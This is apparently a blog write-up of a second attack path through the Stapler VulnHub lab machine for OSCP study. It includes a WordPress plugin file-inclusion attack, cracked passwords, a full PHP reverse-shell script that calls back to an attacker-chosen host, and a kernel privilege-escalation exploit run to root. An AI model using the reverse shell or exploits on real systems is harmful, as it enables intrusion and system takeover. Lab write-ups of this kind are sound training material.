Analytify (Bug): cURL error 77: error setting certificate verify locations: CAfile: /etc/nginx/ssl/cacert.pem CApath: /etc/ssl/certs (see for Stapler - A Second Approach (OSCP Prep) -

Stapler – A Second Approach (OSCP Prep)

Stapler – A Second Approach (OSCP Prep)


In the first VulnHub Stapler walkthrough, we managed a very easy path to a shell by enumerating usernames over SMB and brute-forcing a password with Hydra. From there, some quick digging through the home directories revealed a plain-text password to an account with complete sudo privileges. Root was trivial.

According to the machine’s description, there are at least two ways to get a limited shell on Stapler, and at least three ways to get root.

In this article, we will take a look at a different route to rooting this box through a “hidden” WordPress blog and a kernel exploit.


This write-up will assume you’ve already completed your initial port scan. Check out the first post for more details. In this part.

HTTPS on Port 12380

In the previous walkthrough, we performed a very basic enumeration of the web server running on port 12380. We used our browser to check out http://stapler:12380 and found basically nothing: a site on which every URL redirected to the index page.

However, a little more poking around here can bring up some interesting results.

Let’s start with a Nikto scan:

└─$ nikto -h stapler:12380 -o scans/nikto12380.txt
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    stapler
+ Target Port:        12380
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Inite
ch/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Inite
ch/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2021-08-09 12:38:30 (GMT-5)
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a dif
ferent fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Hostname 'stapler' does not match certificate's names: Red.Initech
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 7837 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2021-08-09 12:41:49 (GMT-5) (199 seconds)
+ 1 host(s) tested

We have a number of goodies here: an SSL certificate, a strange header field, and some directories pulled from robots.txt.

The most important takeaway is the SSL certificate. We lost the trail the first time through because we only enumerated the port using plain-text HTTP.

Armed with this new knowledge, point your browser to https://stapler:12380.

HTTPS server on port 12380

Let’s take a look at these “hidden” directories. The /admin112233/ directory looks enticing.

XSS troll

It looks like g0tmi1k is trolling us a bit…

Moving on to the blog, we see what appears to be a WordPress installation.

WordPress blog front page

Enumerating WordPress

At this point, we could use WPScan, but let’s see if we can do some manual enumeration.

Point your browser to https://stapler/blogblog/wp-content.

Directory listings enabled

It seems we have directory listings enabled! Looking into the uploads directory reveals nothing, but what about plugins?

WordPress plugins directory

This Advanced Video Embed plugin looks interesting. What does SearchSploit have to say about it?

└─$ searchsploit wordpress advanced video
----------------------------------------------------------- ----------------------
 Exploit Title                                             |  Path
----------------------------------------------------------- ----------------------
WordPress Plugin Advanced Video 1.0 - Local File Inclusion | php/webapps/
----------------------------------------------------------- ----------------------
Shellcodes: No Results

We have a hit. I downloaded and attempted to use this Python exploit against the Stapler box, but it didn’t work without some heavy modification. Let’s take a look at exploiting this vulnerability manually.

(NOTE: I have rewritten the exploit for Python 3 and added a few features. Check it out on GitHub.)

Exploiting Advanced Video Manually

It isn’t difficult to figure out how this exploit works after a quick scan through the source code. Basically, it’s making three requests to the server:

  1. First, it makes a request to /wp-admin/admni-ajax.php with a number of parameters. This is actually creating a new post on the blog without authentication. On closer inspection, we see the thumb parameter is being passed ../wp-config.php. This looks like our LFI vector.
  2. The script uses a post ID extracted from the response to the first request to read the created post. It then searches the HTML for a line with a set of classes denoting a thumbnail image (remember the thumb parameter from before?) and extracts the URL of the image.
  3. It pulls down the “image,” which will actually be a copy of the file we specified in the thumb parameter above.

We can rip the first request directly from the script and substitute str(randomID) in the title parameter with a string of our choosing:


Unauthenticated post created

It seems to work. The server replies with location of our new post, however we get a 404 when attempting to read the page.

No big deal. Head back to the front page of the blog.

New post on the front page

Notice the Alt text of the missing image. That should be our target file. We can look to the src property of the image tag and copy the URL of the image. Then use curl to grab it.

└─$ curl -k
 * The base configurations of the WordPress.
 * This file has the following configurations: MySQL settings, Table Prefix,
 * Secret Keys, and ABSPATH. You can find more information by visiting
 * {@link Editing wp-config.php}
 * Codex page. You can get the MySQL settings from your web host.
 * This file is used by the wp-config.php creation script during the
 * installation. You don't have to use the web site, you can just copy this file
 * to "wp-config.php" and fill in the values.
 * @package WordPress

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');


It worked!

Gaining a Foothold

Near the top of the wp-config.php file, we have plain-text creds to the MySQL database server. Remember the phpmyadmin directory from the Nikto scan? Let’s have a look 😉

We know the WordPress installation will store user password hashes in a database, so the wordpress database is a good place to start. Click the SQL tab and enter the query: SELECT user_login,user_pass FROM wp_users. Click “Go” and we get a dump of the hashes.

Dumping WordPress creds with phpMyAdmin

We can use phpMyAdmin to export these to CSV for easy cleanup and send them off to John with the rockyou.txt wordlist.

└─$ john wp_users.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt
Using default input encoding: UTF-8
Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie           (scott)
monkey           (harry)
football         (garry)
coolgirl         (kathy)

John cracks a few of the hashes immediately. We can use these creds to log in to WordPress, but none of the accounts have any real privileges. After some time, we finally get something we can use: john:incorrect.

Getting a Shell

Now we have administrator access to the WordPress application. How can we leverage this to get ourselves a shell?

Let’s try to add a plugin. From the side menu, hover over the plugins icon, and select “Add New” from the menu.

Add new plugin

Next, click “Upload Plugin.” The next page tells us that the plugin needs to be in Zip format, but what if we just upload a PHP file?

We’ll write a quick PHP reverse shell script and try to upload it. Save the following code to a PHP file. I’ll call it rev.php.


if (!isset($_REQUEST['ip']) ||
    !isset($_REQUEST['port'])) {
    echo "Forgetting something?";

$ip = $_REQUEST['ip'];
$port = $_REQUEST['port'];

$sock = fsockopen($ip,$port);
proc_open("/bin/bash -li", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);


Browse for the PHP file and click ‘Install Now.’ The application will now ask us for some FTP information, but we can ignore this. Let’s check the uploads directory to see if we managed to get our PHP shell to the server.

Shell uploaded successfully

Now let’s get a reverse shell. Start a Netcat listener and navigate to https://stapler:12380/blogblog/wp-content/uploads/rev.php?ip=

Reverse shell

Getting root

In our first walkthrough of Stapler, we were able to find a plain-text password for the peter user who had full sudo privileges on the box. It was then as easy as sudo -s to get ourselves a root shell.

In this second look at the Stapler box, we will go a different route: kernel exploitation.

As this machine was authored by g0tmi1k, we’ll use his own Basic Linux Privilege Escalation guide as a cheat sheet.

Let’s determine our distro and kernel version.

www-data@red:/tmp$ cat /etc/*-release
cat /etc/*-release
VERSION="16.04 LTS (Xenial Xerus)"
PRETTY_NAME="Ubuntu 16.04 LTS"
www-data@red:/tmp$ cat /proc/version
cat /proc/version
Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016

So we appear to be on a Ubuntu 16.04 system running the kernel version 4.4.0-21-generic.

There are many potential exploits found between Google and SearchSploit, but most failed on this system. With more digging, we come across a double-fdput() exploit. From the description:

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

We can verify our target system appears to be vulnerable:

www-data@red:/tmp$ cat /proc/sys/kernel/unprivileged_bpf_disabled
cat /proc/sys/kernel/unprivileged_bpf_disabled

There is a proof of concept exploit at the bottom of the description. We can download it directly to the target, unpack, and compile.

www-data@red:/tmp$ wget
--2021-08-11 01:36:52--
Resolving (
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: [following]
--2021-08-11 01:36:53--
Resolving (,,, ...
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7025 (6.9K) [application/zip]
Saving to: ''

     0K ......                                                100% 14.1M=0s

2021-08-11 01:36:53 (14.1 MB/s) - '' saved [7025/7025]

www-data@red:/tmp$ unzip
   creating: 39772/
  inflating: 39772/.DS_Store
   creating: __MACOSX/
   creating: __MACOSX/39772/
  inflating: __MACOSX/39772/._.DS_Store
  inflating: 39772/crasher.tar
  inflating: __MACOSX/39772/._crasher.tar
  inflating: 39772/exploit.tar
  inflating: __MACOSX/39772/._exploit.tar
www-data@red:/tmp$ tar xf exploit.tar
tar xf exploit.tar
tar: exploit.tar: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
www-data@red:/tmp$ cd 39772
cd 39772
www-data@red:/tmp/39772$ tar xf exploit.tar
tar xf exploit.tar
www-data@red:/tmp/39772$ ls
www-data@red:/tmp/39772$ cd ebpf_mapfd_doubleput_exploit
cd ebpf_mapfd_doubleput_exploit
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""

Now we run the exploit. And we wait…

www-data@red:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...

Well that looks promising!

uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)

And we get some milk and cookies from g0tmi1k for our efforts 🙂

Wrapping Up

There you have it. We’ve now beaten the Stapler machine using two distinct attack vectors. But why? We got root easily the first time through. Why would we do the machine all over again using a different path?

Whether you are studying for the OSCP or playing for fun, going through these boxes as many ways as possible will help improve your skills as a penetration tester. With a some intuition and a bit of luck, this machine was very simple using the method outlined in the first walkthrough. We simply enumerated some usernames and we got lucky when one poor sap happened to be reusing his username as his password. However, we will not always get so lucky. It’s important to be prepared for any situation you may encounter while attacking a machine.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.